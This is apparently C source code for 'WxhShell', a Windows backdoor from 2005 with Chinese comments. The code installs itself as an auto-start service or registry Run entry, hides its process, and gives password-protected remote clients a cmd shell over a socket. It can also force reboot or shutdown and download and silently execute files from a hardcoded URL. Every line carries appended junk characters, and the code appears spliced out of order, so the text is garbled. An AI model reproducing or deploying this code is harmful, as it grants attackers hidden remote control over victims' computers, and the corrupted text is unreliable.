    if(Boot(SHUTDOWN)) PLKp<kg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IBf&'/ 8\  
    else { rv&(yA  
    closesocket(wsh); S$+vRX7  
    ExitThread(0); Bra>C  
    }  <G{m=  
    break; yd`xmc)  
    } h5U@Ys  
  // 获取shell fr;>`u[;  
  case 's': { /lx\9S|  
    CmdShell(wsh); hkJ4,.  
    closesocket(wsh); (i1FMd}G  
    ExitThread(0); 1@P/h#_Vr  
    break; k)b}"' I  
  } c#$B;?  
  // 退出 05LVfgJ'q  
  case 'x': { {tV)+T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %8>s:YG  
    CloseIt(wsh); 4gb2$"!  
    break; &kHp}\  
    } {^Vkxf]  
  // 离开 BP,"vq$'+  
  case 'q': { [95(%&k.Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gtyo~f  
    closesocket(wsh); MmI4J$F  
    WSACleanup(); rBkLwJ]  
    exit(1); pB&3JmgR$)  
    break; Nlx7"_R"Q  
        } _:Tjq)  
  } M3odyO(  
  }  VljAAt  
Ha@'%<gFe  
  // 提示信息 sk\U[#ohH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1%]| O  
} 1LZ?!Lw  
  } (#BkL:dg  
*j?tcxq  
  return; ;RflzY|D  
} :`2<SF^0O  
A)kx,,[  
// shell模块句柄 m beM/  
int CmdShell(SOCKET sock) 4{(uw  
{ X,IjM&o"Y  
STARTUPINFO si; sHyhR:  
ZeroMemory(&si,sizeof(si)); ^rfY9qMJr8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w>p0ldi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @v ss:'l  
PROCESS_INFORMATION ProcessInfo; \6-x~%xK  
char cmdline[]="cmd"; }tF/ca:XPQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ds9pXgU( Z  
  return 0; od{Y` .<  
} ^o_2=91  
=dHM)OXD"  
// 自身启动模式 d=o|)kV  
int StartFromService(void) FAfk;<#'n+  
{ x9Y1v1!5Pu  
typedef struct 01g=Cg  
{ KoRJ'WW^  
  DWORD ExitStatus; /1F%w8Iqh  
  DWORD PebBaseAddress; %I9{)'+@x  
  DWORD AffinityMask; X|q&0W=  
  DWORD BasePriority; rIH/<@+  
  ULONG UniqueProcessId; 'C8VD+p  
  ULONG InheritedFromUniqueProcessId; "=@b>d6U+  
}   PROCESS_BASIC_INFORMATION; AqB5B5}  
SG_^Rd9 D  
PROCNTQSIP NtQueryInformationProcess; L{jJDd  
E0'+]"B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; = I,O+^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V&;1n  
J 05@SG':  
  HANDLE             hProcess; a|SgGtBtT4  
  PROCESS_BASIC_INFORMATION pbi; Rq )&v*=  
QG*=N {% 5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'A;G[(SYy  
  if(NULL == hInst ) return 0; `uM:>  
CnSfGsE>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hEi]-N\X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'iA#lKG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GwQW I ]  
k__iJsk  
  if (!NtQueryInformationProcess) return 0; XAwo ~E  
oG M Ls  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A-^[4&rb  
  if(!hProcess) return 0; +~?ze,Di  
cjAKc|NJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <`k\kZM  
Ni#!C:q  
  CloseHandle(hProcess); P?p>'avP  
'bJ!~ML&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G3'>KMa.  
if(hProcess==NULL) return 0; ?YWfoH4mS  
^e:C{]S=  
HMODULE hMod; +%Q:  
char procName[255]; t ~ruP',~\  
unsigned long cbNeeded; $}V<U m  
zI$^yk-vn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z"#eN(v.N  
l9KL P  
  CloseHandle(hProcess); njeRzX  
)b`Xc+{>  
if(strstr(procName,"services")) return 1; // 以服务启动 >/mi#Y6  
D9,609w  
  return 0; // 注册表启动 Jz7a|pgep  
} Z>gxECi  
`bT!_Ru  
// 主模块 74Xk^  8  
int StartWxhshell(LPSTR lpCmdLine) wI><kdz  
{ NAjY,)>'K  
  SOCKET wsl; G6(k wv4  
BOOL val=TRUE; 4)0 %^\p  
  int port=0; QEKSbxL\W  
  struct sockaddr_in door; i!+D ,O  
BLZ#vJR  
  if(wscfg.ws_autoins) Install(); vQ/}E@?u  
yI/2 e[  
port=atoi(lpCmdLine); nlmc/1C  
*vt5dxB  
if(port<=0) port=wscfg.ws_port; A'r 3%mC  
QA>(}u\+  
  WSADATA data; qzS 9ls>>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VN[C%C  
59mNb:<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5OeTOI()&5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )]WWx-Uf'  
  door.sin_family = AF_INET; `Fa49B|`D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gwhd) .*  
  door.sin_port = htons(port); 28FC@&'H  
DP\s-JpI[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?T=] ?[  
closesocket(wsl); B?A c  
return 1; KwK[)Cvv  
} ?PVJeFH  
Mx<z34(T  
  if(listen(wsl,2) == INVALID_SOCKET) {  N1,=5P$  
closesocket(wsl); #=F"PhiX`  
return 1; (uW/t1  
} )*#Pp )Q  
  Wxhshell(wsl); H,,-;tN?  
  WSACleanup(); u$ [R>l9  
+13h *  
return 0; MJNY#v3  
Ay)q %:qx  
} :K.%^ag=j  
,dT.q  
// 以NT服务方式启动 io :g ]g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zvjVM"=G  
{ Ww5c9orXn  
DWORD   status = 0; 6BM[RL?T  
  DWORD   specificError = 0xfffffff; 9ZvBsG)  
0^'A^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MV +R$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Dy6uWv,P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?CO\jW_ *n  
  serviceStatus.dwWin32ExitCode     = 0; $jT&]p  
  serviceStatus.dwServiceSpecificExitCode = 0; 2WQKj9iyN  
  serviceStatus.dwCheckPoint       = 0; :$k':0 n  
  serviceStatus.dwWaitHint       = 0; .N2yn`  
HR)Dz~Obw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Oop5bg  
  if (hServiceStatusHandle==0) return; VD}8ei  
jv $Y]nf  
status = GetLastError(); RtVy^~=G  
  if (status!=NO_ERROR) r /v'h@  
{ fxfzi{}uj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r @C2zF7  
    serviceStatus.dwCheckPoint       = 0; P^m+SAAB  
    serviceStatus.dwWaitHint       = 0; z'@j9vT  
    serviceStatus.dwWin32ExitCode     = status; n8<o*f&&9>  
    serviceStatus.dwServiceSpecificExitCode = specificError; dFY]~_P472  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n\d`Fk  
    return; i`[5%6\"&  
  } [MSLVTR  
'J^ M`/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bwh7.lDAl  
  serviceStatus.dwCheckPoint       = 0; kN3T/96  
  serviceStatus.dwWaitHint       = 0; tP; &$y.8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )|;*[S4  
} yM dEH-?/  
`$og]Dn;  
// 处理NT服务事件,比如:启动、停止 zNSix!F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W: Rs 0O  
{ @L^Fz$Sx  
switch(fdwControl) .d< +-w2Mu  
{ <viIpz2jh%  
case SERVICE_CONTROL_STOP: A ?"(5da.  
  serviceStatus.dwWin32ExitCode = 0; _&S?uz m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;>^oe:@  
  serviceStatus.dwCheckPoint   = 0; iku8T*&uc  
  serviceStatus.dwWaitHint     = 0; _XT],"  
  { JA W}]:jC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tX;00g;U.  
  } .G[y^w)w}  
  return; o(xRq;i  
case SERVICE_CONTROL_PAUSE: #_yQv?J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r fqw/o  
  break; `5 py6,  
case SERVICE_CONTROL_CONTINUE: (]7*Kq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3wXmX  
  break; >Gbj1>C}  
case SERVICE_CONTROL_INTERROGATE: n^|;J*rD  
  break; lB!`,>"c  
}; eUQ.,mP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [?3*/*V  
} 34VyR a  
-q7A\8C  
// 标准应用程序主函数 O+;0|4V%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *S_e:^  
{ | \Nj  
/64jO?mp  
// 获取操作系统版本 8r[ZGUV  
OsIsNt=GetOsVer(); 4 -)'a} O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T1zft#1~  
,4y' (DA  
  // 从命令行安装 N;,?k.vU  
  if(strpbrk(lpCmdLine,"iI")) Install(); 97:1L4w.(  
* d6[k Y  
  // 下载执行文件 xGbr>OqkTX  
if(wscfg.ws_downexe) { h&4uf x6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a]:tn:q  
  WinExec(wscfg.ws_filenam,SW_HIDE); kN uDoo]z  
} z9:@~3k.  
$iQ>c6  
if(!OsIsNt) { \~xI#S@  
// 如果时win9x,隐藏进程并且设置为注册表启动 kg[u@LgvoN  
HideProc(); Ke[doQ#c  
StartWxhshell(lpCmdLine); .(o]d{ '-}  
} Li ,B,   
else E_&Hje|J_[  
  if(StartFromService()) ".L+gn}u-  
  // 以服务方式启动 9fD4xkRS  
  StartServiceCtrlDispatcher(DispatchTable); )/k0*:OMyO  
else 0z?b5D;  
  // 普通方式启动 ^}; 4r  
  StartWxhshell(lpCmdLine); 0?uX}8w  
k5G(7Ug=g~  
return 0; #QJ  mAA  
}  {ZFa +  
$,08y   
\V@SCA'  
*Yv"lB8  
=========================================== 2&91C[da0  
Myss$gt}  
khT&[!J{>  
,CW]d#P|  
o D;  
,2S <#p!  
" /2^cty.BXw  
J*6I@_{/ U  
#include <stdio.h> E%ea o$  
#include <string.h> 3ojK2F(1D  
#include <windows.h> 1wUZ0r1'  
#include <winsock2.h> Cw?AP6f%  
#include <winsvc.h> xrx{8pf  
#include <urlmon.h> 1!/+~J[#  
{ frEVHw  
#pragma comment (lib, "Ws2_32.lib") WO*yJ`9]  
#pragma comment (lib, "urlmon.lib") I Vy,A7f  
Bc}<B:q%b  
#define MAX_USER   100 // 最大客户端连接数 `7jm   
#define BUF_SOCK   200 // sock buffer Fk D  
#define KEY_BUFF   255 // 输入 buffer mOwgk7s[ J  
> 7!aZO  
#define REBOOT     0   // 重启 _dqjRhu  
#define SHUTDOWN   1   // 关机 _5a]pc$\Y]  
YVVX7hB  
#define DEF_PORT   5000 // 监听端口 7ka^y k@Q  
OXDlwbwL  
#define REG_LEN     16   // 注册表键长度 c 5P52_@  
#define SVC_LEN     80   // NT服务名长度 c?) pn9  
6A M,1  
// 从dll定义API A{h hnrr8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); , >Y. !  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _yjM_ALjo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L*tXy>&b.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U[d/ `  
FcIH<_r  
// wxhshell配置信息 $}oQ=+c5  
struct WSCFG { e<5+&Cj  
  int ws_port;         // 监听端口 N&NOh|YS  
  char ws_passstr[REG_LEN]; // 口令 HY#7Ctn3  
  int ws_autoins;       // 安装标记, 1=yes 0=no zc J]US  
  char ws_regname[REG_LEN]; // 注册表键名 G_5sF|(mq  
  char ws_svcname[REG_LEN]; // 服务名 OxElvbM#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +C;ZO6%w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q" wi.&|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !|_ CXm T|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MIa].S#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <0P`ct0,i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WA Y<X:|We  
&ukNzV}VW  
}; GQqw(2Ub}  
*p?b"{_a  
// default Wxhshell configuration q`1t*<sk  
struct WSCFG wscfg={DEF_PORT, 7qE V5!  
    "xuhuanlingzhe", qNHS 1  
    1, 7tAWPSwf  
    "Wxhshell", *" <tFQ  
    "Wxhshell", {N5g52MN  
            "WxhShell Service", 7~\Dzcfk"P  
    "Wrsky Windows CmdShell Service", 4:r^6m%%  
    "Please Input Your Password: ", zq!2);,  
  1, $Fz/&;KX!  
  "http://www.wrsky.com/wxhshell.exe", ([|5(Omd\  
  "Wxhshell.exe" +^YV>;  
    }; W3UK[_qK  
`m<="No  
// 消息定义模块 6AUzS4O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I#eIm3Y?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R,Zuy( g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hD<z^j+  
char *msg_ws_ext="\n\rExit."; `H$s -PX  
char *msg_ws_end="\n\rQuit."; |+6Z+-.Hg  
char *msg_ws_boot="\n\rReboot..."; };oRx)  
char *msg_ws_poff="\n\rShutdown..."; zQ{ Q>"-  
char *msg_ws_down="\n\rSave to "; ?]fBds=  
7P/j\frW  
char *msg_ws_err="\n\rErr!"; w2]1ftY  
char *msg_ws_ok="\n\rOK!"; `RGZ-Q{_  
';aPoaO %  
char ExeFile[MAX_PATH]; x(}tr27o  
int nUser = 0; p5F[( H|9  
HANDLE handles[MAX_USER]; ^%_B'X9  
int OsIsNt; 8YkP57Y%[Z  
;x^&@G8W`  
SERVICE_STATUS       serviceStatus; EoU}@MjM~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L*FmJ{Yf  
bDUGzezP<  
// 函数声明 DDAqgx  
int Install(void); $#R.+B  
int Uninstall(void); W\eB   
int DownloadFile(char *sURL, SOCKET wsh); w2{k0MW  
int Boot(int flag); uzp !Y&C  
void HideProc(void); F!]UaEmV  
int GetOsVer(void); eg(xN/D  
int Wxhshell(SOCKET wsl); {h9#JMIA  
void TalkWithClient(void *cs); ! FHNKh  
int CmdShell(SOCKET sock); 9k7|B>LT  
int StartFromService(void); "6Dz~5  
int StartWxhshell(LPSTR lpCmdLine); nt;A7pI`  
}QJE9;<e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Slv}6at5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~fCD#D2KU  
-HoPECe  
// 数据结构和表定义 0RoI`>j'  
SERVICE_TABLE_ENTRY DispatchTable[] = 8w2+t>?  
{ ?9?0M A<[i  
{wscfg.ws_svcname, NTServiceMain}, X0vkdNgW  
{NULL, NULL} &)s A(  
}; S NK+U"Q  
AZl=w`;/O%  
// 自我安装 Q|5wz]!5Y(  
int Install(void) R63"j\0  
{ Y}1|/6eJ  
  char svExeFile[MAX_PATH]; &OI=r vDmo  
  HKEY key; .\U+`>4av  
  strcpy(svExeFile,ExeFile); _"WQi}Mm  
`n^jU92  
// 如果是win9x系统,修改注册表设为自启动 Kq{s^G  
if(!OsIsNt) { ~S-x-cZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?WAlW,H>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $%1[<}<  
  RegCloseKey(key); Q8:u1$}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U +mx@C_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ' J-(v  
  RegCloseKey(key); 8: s3Q`O  
  return 0; Z]SCIU @+  
    } Nm,v E7M  
  } mnil1*-c0  
} W;KHLHp-  
else { $wN'mY  
d+&V^qLJ  
// 如果是NT以上系统,安装为系统服务 m k -" U7;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v0$6@K;M4G  
if (schSCManager!=0) 9MHb<~F  
{ hJd#Gc~*M  
  SC_HANDLE schService = CreateService :nwcO3~`  
  ( GuDus2#+  
  schSCManager, +,|-4U@dl  
  wscfg.ws_svcname, Wb4sfP_  
  wscfg.ws_svcdisp, d9Q%GG0]  
  SERVICE_ALL_ACCESS, 3[V|C=u0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3Ji,n;QLm  
  SERVICE_AUTO_START, !/jx4 w~R  
  SERVICE_ERROR_NORMAL, \!SC;  
  svExeFile, (9cIU2e  
  NULL, qbP[  9  
  NULL, vxqMo9T  
  NULL, Szg<;._J  
  NULL, #Jm_~k  
  NULL '|]zBpz  
  ); |fw+{f  
  if (schService!=0) {Or|] 0  
  { sWX   
  CloseServiceHandle(schService); %< W1y  
  CloseServiceHandle(schSCManager); ;^rZ"2U l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CiMy_`H  
  strcat(svExeFile,wscfg.ws_svcname); ]AHUo;(f%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J|'T2g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o1n c.2/0J  
  RegCloseKey(key); B]Zsn`n  
  return 0; LG,RF:  
    } e,4!/|H:  
  } n:#ji|wM  
  CloseServiceHandle(schSCManager); Xp{gh@#dr  
} JGO>X|T  
} @{ nT4{  
Vm6^'1CY  
return 1; u*9C(je  
} }XXE hOO  
Ab(bvS8r$  
// 自我卸载 Cog:6Gnw  
int Uninstall(void) c3 wu&*p{  
{ +m+HC(Z  
  HKEY key; W:) M}}&H  
[{zekF~)@  
if(!OsIsNt) { vW4 f3(/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IvO3*{k ,  
  RegDeleteValue(key,wscfg.ws_regname); qy-BZ%3  
  RegCloseKey(key); 2XXEg> CU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1i>)@{P&BN  
  RegDeleteValue(key,wscfg.ws_regname); ;ib~c,  
  RegCloseKey(key); KK] >0QAY  
  return 0; d9^=#ot  
  } pixI&iQ  
} ' l!QGKz  
} lhjPS!A~  
else { |QzPY8B9O  
L9kSeBt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tjTF?>^6|  
if (schSCManager!=0) [2FXs52  
{ )Tb;N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pD>3c9J'^F  
  if (schService!=0) J`x9 XWYw  
  { kh5V&%>?  
  if(DeleteService(schService)!=0) { d")r^7  
  CloseServiceHandle(schService); 8WyG49eic  
  CloseServiceHandle(schSCManager); S`l CynGH  
  return 0; 9<YB &:<  
  } -[7.VP   
  CloseServiceHandle(schService); p5 [uVRZ  
  } -!}1{   
  CloseServiceHandle(schSCManager); 1u` Z?S(  
} S\X_!|  
} $jzk4V  
u(~s$ENl  
return 1; ,J~1~fg89  
} ]':C~-RV{  
(%r:PcGMEV  
// 从指定url下载文件 u3<])}I'  
int DownloadFile(char *sURL, SOCKET wsh) -Kc-eU-&q  
{ |/(5GX,X  
  HRESULT hr; r;'!qwr  
char seps[]= "/"; s=d?}.E$  
char *token; !*cf}<Kmw  
char *file; },"g*  
char myURL[MAX_PATH]; mb/3 #)  
char myFILE[MAX_PATH]; O^<6`ku  
y>#j4%D~4  
strcpy(myURL,sURL); m2}&5vD8-  
  token=strtok(myURL,seps); %EpK=;51U  
  while(token!=NULL) *CG2sAeB  
  { Hv=coS>g:  
    file=token; \.{JS>!  
  token=strtok(NULL,seps); H}$#aXEAn  
  } _9-Ajv  
]I]dwi_g)  
GetCurrentDirectory(MAX_PATH,myFILE); _ <~05Eh  
strcat(myFILE, "\\"); '0=U+Egp  
strcat(myFILE, file); 4 '+)9&g  
  send(wsh,myFILE,strlen(myFILE),0); F?dTCa  
send(wsh,"...",3,0); Y.73I83-j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Oh^X^*I$@  
  if(hr==S_OK) 8%NX)hZyq}  
return 0; q"cFw${  
else |z4/4Y@  
return 1; E`s_Dr}K  
pQ/:*cd+M  
} L fi]s  
}E=kfMu  
// 系统电源模块 PY2`RZ/@  
int Boot(int flag) 9w(j2i q  
{ K1hw' AaQ  
  HANDLE hToken; OYzJE@r^  
  TOKEN_PRIVILEGES tkp; ZN)/doK  
u,pm\  
  if(OsIsNt) { {NFeX'5bP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y, Z#? O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =#u2Rx%V  
    tkp.PrivilegeCount = 1; h1Lp:@:|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jn7} jWA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $ -y+97  
if(flag==REBOOT) { 646ye Q1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M&K@><6k,k  
  return 0; ufJFS+?  
} IQ_0[  
else { Cjh&$aq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q?>#sN,  
  return 0; 01dx}L@hz  
} 8fN0"pymo  
  } d.+vjMI  
  else { ZJ 4"QsF  
if(flag==REBOOT) { A/QVotcU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YO Y+z\Q  
  return 0; f 4 _\F/  
} }}2 kA  
else { pFK |4u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (kHR$8GFM  
  return 0; j@ "`!uPz  
} RpXQi*c0  
} l=oVC6C  
x B?:G  
return 1; -r2cK{Hhp&  
} cU>&E* wD  
ky#6M? \  
// win9x进程隐藏模块 e\dT~)c  
void HideProc(void) sV6A& Aw  
{ w0IB8GdF  
y(R*Z^c}d,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !G,$:t1-=V  
  if ( hKernel != NULL ) :+5afv}  
  { gv,T<A?Z2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <\8   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =oTYwU  
    FreeLibrary(hKernel); U&5zs r  
  } SQ!lgm1bA  
]UI+6}r  
return; t[maUy _A  
} CvW((<?  
+wSm6*j7=  
// 获取操作系统版本 iF0a  
int GetOsVer(void) K8 Y/XEK  
{ <It7s1O  
  OSVERSIONINFO winfo; @}Ixr{t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Lwcw%M]  
  GetVersionEx(&winfo); I5A^/=bf&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 10rGA=x'(  
  return 1; b>z.d-  
  else Z:hrrq9  
  return 0; hq*JQb;Y}  
} :6/OU9f/R  
#R8l"]fxr?  
// 客户端句柄模块 L1xD$wl  
int Wxhshell(SOCKET wsl) iK]g3ew|  
{ 5{a( +'  
  SOCKET wsh; vw]nqS~N  
  struct sockaddr_in client; ##@#:B  
  DWORD myID; 5%`Ul  
8_m9CQ6 i  
  while(nUser<MAX_USER) tb{{oxa,k  
{ QT$1D[>  
  int nSize=sizeof(client); 55DzBV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Vr1|%*0Tv  
  if(wsh==INVALID_SOCKET) return 1; >l1Yhxd_0*  
IpJv\zH7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w'0M>2   
if(handles[nUser]==0) 0%F.]+6[O4  
  closesocket(wsh); \.a .'l  
else G7;}309s  
  nUser++; O-5U|wA  
  } h yKg=Foq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Zsogx}i-  
Q75^7Ga_  
  return 0; ?<?C*W_  
} KUutC :  
+I n"OR%  
// 关闭 socket W~F/ZrT3A  
void CloseIt(SOCKET wsh) a~7osRmp0  
{ 1.H!A@  
closesocket(wsh); RG3G},Q   
nUser--; KaE;4gwM  
ExitThread(0); bW^QH-t  
} 3x0wk9lND  
KL  mB  
// 客户端请求句柄 -C}59G8  
void TalkWithClient(void *cs) BmFME0  
{ _ICDtG^  
j~H`*R=ld#  
  SOCKET wsh=(SOCKET)cs; `_A?a_[*  
  char pwd[SVC_LEN]; vx@p;1RU`  
  char cmd[KEY_BUFF]; [Be53U{=  
char chr[1]; "T%'Rp`j|  
int i,j; xg^^@o  
@%nUfG7TQ  
  while (nUser < MAX_USER) { xJLO\B+gM  
|a$w;s>\  
if(wscfg.ws_passstr) { Z{4aGp*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AdW2o|Uap  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rOHW  
  //ZeroMemory(pwd,KEY_BUFF); TQd FC\@f"  
      i=0; FTnQqDuT  
  while(i<SVC_LEN) { [0ffOTy  
Ju7C?)x  
  // 设置超时 $ cK B+}  
  fd_set FdRead; QeJ.o.m{  
  struct timeval TimeOut; W7=_u+0d  
  FD_ZERO(&FdRead); \y`3LhY  
  FD_SET(wsh,&FdRead); )v{41sM+  
  TimeOut.tv_sec=8; -xu.=n@,  
  TimeOut.tv_usec=0; R(83E B~_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <1+6O[>{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~: <@`  
!b->u_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7 eQoc2X2  
  pwd=chr[0]; j4xr1y3^  
  if(chr[0]==0xd || chr[0]==0xa) { ^s~n[  
  pwd=0; K}<!{/fi)  
  break; %)Uvf`Xhh4  
  } h_chZB'  
  i++; E D^rWE_  
    } x<j"DS}S)D  
?U/Wio$@  
  // 如果是非法用户,关闭 socket `6N-MsP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XQJ^)d00h  
} u%1k  
8C,utjy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ObyuhAR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4_762Gu%  
@Du}   
while(1) { Y `7#[g  
#!Cter2  
  ZeroMemory(cmd,KEY_BUFF); kad;Wa#h  
V"by9p|V`  
      // 自动支持客户端 telnet标准   TflS@Z7C  
  j=0; z2Y_L8u2  
  while(j<KEY_BUFF) { W+f&%En  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @ZkAul0@  
  cmd[j]=chr[0]; B+e_Y\B u  
  if(chr[0]==0xa || chr[0]==0xd) { )=E~CpKV  
  cmd[j]=0; ,J (5@8(>a  
  break; T$^>Fiz{Se  
  } wz*A<iU  
  j++; aDl, K;GL  
    } U 'CfP9=  
myWmU0z/  
  // 下载文件 TG63  
  if(strstr(cmd,"http://")) { !jnqA Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [Ql?Y$QB`4  
  if(DownloadFile(cmd,wsh)) b4)*<Zp`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h lkvk]v  
  else (}FW])y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +dgo-)kP(_  
  } N+s?ZE*  
  else { qHR^0&  
Cl9SPz  
